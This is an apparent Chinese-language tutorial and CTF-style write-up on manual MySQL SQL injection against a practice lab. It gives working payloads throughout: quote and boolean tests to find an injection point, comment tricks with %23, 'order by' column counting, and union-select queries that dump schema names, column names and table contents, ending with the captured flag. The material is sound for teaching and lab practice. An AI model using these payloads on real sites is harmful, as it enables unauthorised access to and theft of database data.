今天我们来讲一下mysql手工注入的大体内容
给你一段url
http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1
应该怎么手工注入呢?
first 我们讲怎么判断是否具有注入点
一,刚才的id=1后加一个单引号,变成id=1' 。
页面如果报错,说多了一个单引号,那么说明可能存在注入点。
二,可以在id=1 后面加上判断语句 如 and 1=1 and 1=2
很明显 1=1 1不等于2
那么如果‘id=1 and 1=1’页面正常,‘id=1 and 1=2’时页面不正常,则这个可能存在注入。
为啥是可能?不是一定?
因为有些页面可能在返回结果出做过滤,虽然你这里带入数据库是可以被查询的,但无法返回,是否可以利用需要结合具体情况对待
second 找到注入点后就可以闭合语句了
这里需要思考后台的代码是如何编写的
举个例子
后台语句
select * from tables where id='$id';
这种情况下,$id变量多为字符型 ,需要闭合单引号,
可以用?id=1'这种形式闭合
所以我们在注入过程中能就要在url后输入
/index.php?id=1' 用单引号闭合
注意:在闭合过程中,我们一定要结合实际情况,进行闭合符号,
这是没有什么固定方式的,因为我们母鸡后台代码,但最终达到一个目的就好了,就是闭合语句中可能有的符号,注释掉我们不需要或者可能会限制我们继续注入的部分。使得后台做出 我们想让他做的事情。
在这里 需要讲一下注释 为啥要注释,你不注释怎么让后台只执行你想要的命令啊
比如
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0&num=1
这一题中用到了limit语句 不使用where 那么应该怎么做?
注释有
行间注释 # 就是23% --
行内注释 /*注释内容*/
还要说一下,我们在注入的时候,为什么使用的%23而不是#呢,因为由于编码的问题,在浏览器中直接提交#会变成空,所以我们使用url编码后的#,即%23,当传输到后端时,后端语言会对它自动解码成#,才能够成功带入数据库查询
有这么一个网站:www.example.com/index.php?id=1
他在数据中的查询语句是select * from table where id='$id' limit 0,1;
那么我们注入的语句就可以是?id=1' %23
这个时候,带入到数据库查询的语句就变成了
select * from table where id='$id' #' limit 0,1;
#会把后面的语句注释掉,然后我们得到实际执行的语句就成了
select * from table where id='$id';
寻找注入点和注释不需要的内容是个重点
只有顺利的完成这两步骤,才能接下去实施
third 使用order by 子句判断字段
什么是order by
这里引用w3c的内容
ORDER BY 语句用于对结果集进行排序
ORDER BY 语句用于根据指定的列对结果集进行排序。
ORDER BY 语句默认按照升序对记录进行排序。
啥意思?
就是说
order by 是用来排序的,后面的数字代表列数
order by 1 第一列进行排序
order by 2 第二列进行排序
。。。。。
如果order by 4错误,即没有第4列
由此可得一共有3列
而在order by 4报错的时候,注入页面会有相应的显示,这时候你就知道,有几个字段了
这里我使用的是lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 order by 3
order by 3 是对的
order by 4 报错 故而可以判断字段数
then 使用联合查询
http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 UNION SELECT 1,2,3
可以看到我写的是id=1 UNION SELECT 1,2,3
而刚才order by 出来的是3 这就是联合查询 union select 1,2,3,4,5…..n/*
字段数是几,那么n就是几
提交后,可以看到页面中出现可以被显示的字段编号,我们通过在响应位置替换成我们需要的查询字段和表就可以,如这里,我注入出来的是2和3位置可以被注入,也就是接下来所有注入的内容更都需要替换这里select语句中的2和3
我们试一下,看看当前库和版本就是database(),version()
除了当前库,还会有其他库啊,是不是也要看看?
这里我们输入
http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 and 1=2 union select 1,schema_name,3 from information_schema.schemata limit 0,5
这里用到了limit
通过调整limit即可遍历出所有的数据库,调整方法为limit 0,1;limit 1,2;limit 2,3……直到出现错误或异常
这里我用了limit 0,5 出来了3个库,说明里面就三个
库子知道了,暴对应数据库的数据表
选择sae_user_sqli3,继续干
http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7361655F757365725F73716C6933
这里有三个字段,快捷点,我们上来就是爆两个字段
http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 and 1=2 union select 1,title,content from sae_user_sqli3
ok了
flagishere#
HKGGflagdfs56757fsdv
这么长,能看完,谢谢你们